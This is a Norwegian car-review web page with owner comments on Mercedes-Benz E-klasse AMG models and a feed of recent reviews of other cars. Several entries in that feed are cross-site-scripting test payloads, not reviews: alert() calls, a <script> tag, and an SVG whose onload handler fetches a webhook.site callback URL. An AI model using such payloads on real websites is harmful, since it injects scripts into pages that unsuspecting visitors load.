Bilvurderinger for
Mercedes-Benz >
E-klasse AMG
Mercedes-Benz E-klasse AMG (2019)
Noe upraktisk som familiebil, men en fantastisk kjøremaskin. Bilen ble kjøpt ny i 2019 og har nå gått 20.000km. Skal mye til for å bytte ut denne
Mercedes-Benz E-klasse AMG (2015)
Dette er en type bil som tilfredsstiller mange ting på en gang! Det er en familiebil, stasjonsvogn med masse plass til baggasje og folk. Men under der hele sitte en fullblods sportsbil som kan danke
Mercedes-Benz E-klasse AMG (2012)
Den beste pakken jeg har har opplevd, gleder meg til hver tur og har ikke hatt en kjedelig tur til nå, da er det bare til å bromme litt med orgelpipene bakpå. Gleder meg til sommeren!
Mercedes-Benz E-klasse AMG (2005)
Bakhjulstrekk og V8 med kompressor, en kombinasjon for bilentusiaster. Bruker litt mye bensin, og dyr i drift. Har hatt min i 5 år, kjørt snart 100.000 med den. Et mindre hjul til kompressoren og en
Mercedes-Benz E-klasse AMG (2005)
Fantastisk kjøremaskin.
Mercedes-Benz E-klasse AMG (2004)
En skikkelig familieracer som kan brukes til hverdag.
Mercedes-Benz E-klasse AMG (2001)
Selv om bilen er gammel, 15 år, så er den veldig bra å kjøre, den er i en klasse for seg selv med så mye krefter og permanent firehjuls drift
Velg en modell
A-klasse A-klasse AMG AMG GT AMG GT Black Series AMG GT C AMG GT R AMG GTS AMG SL AMG SLC B-klasse B-klasse Electric Drive C-klasse C-klasse All-Terrain C-klasse AMG C-klasse Cabriolet C-klasse Cabriolet AMG C-klasse Coupe C-klasse Coupe AMG Citan CL CL AMG CLA CLA AMG CLC CLE CLE AMG CLK CLK AMG CLS CLS AMG E-klasse E-klasse All-Terrain E-klasse AMG E-klasse Cabriolet E-klasse Cabriolet AMG E-klasse Coupe E-klasse Coupe AMG e-Vito Tourer eCitan EQA EQB EQC EQE EQE AMG EQE AMG SUV EQE SUV EQS EQS EQS AMG EQS SUV EQS SUV AMG EQT EQV eSprinter eVito G-klasse Geländewagen GL-klasse GLA GLA AMG GLB GLB AMG GLC GLC AMG GLC Coupe GLC Coupe AMG GLE GLE AMG GLE Coupe GLE Coupe AMG GLK GLS GLS AMG M-klasse M-klasse AMG Maybach EQS SUV Maybach GLS Maybach S Maybach SL 680 Monogram Series R-klasse S-klasse S-klasse AMG S-klasse Cabriolet S-klasse Cabriolet AMG S-klasse Coupe S-klasse Coupe S-klasse Coupe AMG SL SL AMG SLC SLK SLK AMG SLS AMG Sprinter T1 V-klasse Vaneo Viano Vito X-KlasseSiste vuderinger
Renault 5 E-Tech (2025)
Dette er virkelig en bil jeg anbefaler. Årets bil i Europa og Årets bil i Norge, med god grunn. Veldig kult retro-design. Legger til at Renault også hadde årets bil i Europa i 2024 med Scenic E-Te
Citroën e-C4 (2025)
Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve
Aston Martin DB9 GT (2017)
alert("total")
Aston Martin DB9 GT (2017)
totalvurderingtest
Abarth 500e (2024)
Abarth 500e (2024)
Abarth 500e (2024)
xxxfooo4
Abarth 500e (2024)
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>
Volvo EX40 (2026)
Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass
Ford Explorer EV (2025)
Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.
Ford Kuga (2021)
Forbruk. Gir en tier for forbruk langkjøring. 0,44 og forbruk 0,8 med campingvogn, totalvekt 1400 kg(ved tomt batteri). Rekkevidde elektrisk på vinter månedene er fra 20 - 30 km, blandet/bykjøring
Hongqi E-HS9 (2022)
Den er utrolig komfortabel, stille og har en kvalitet som overgår det meste på markedet. Har hatt bilen i 2år nå, å hele familien elsker bilen!
Mercedes-Benz EQC (2022)
Topp komfort og driftsikker.
Polestar 2 (2022)
God kvalitetsfølelse. Gode (frem-) seter. Smart med OTA (oppdateringer over-the-air). Lett å selv restarte system og app etter behov. Pen bil! Praktisk med frunk for elkabler på langtur. (hvorfor h
Mercedes-Benz GLE (2020)
Skuffende å måtte skifte opphengskuler foran på begge sider etter kun 75000 km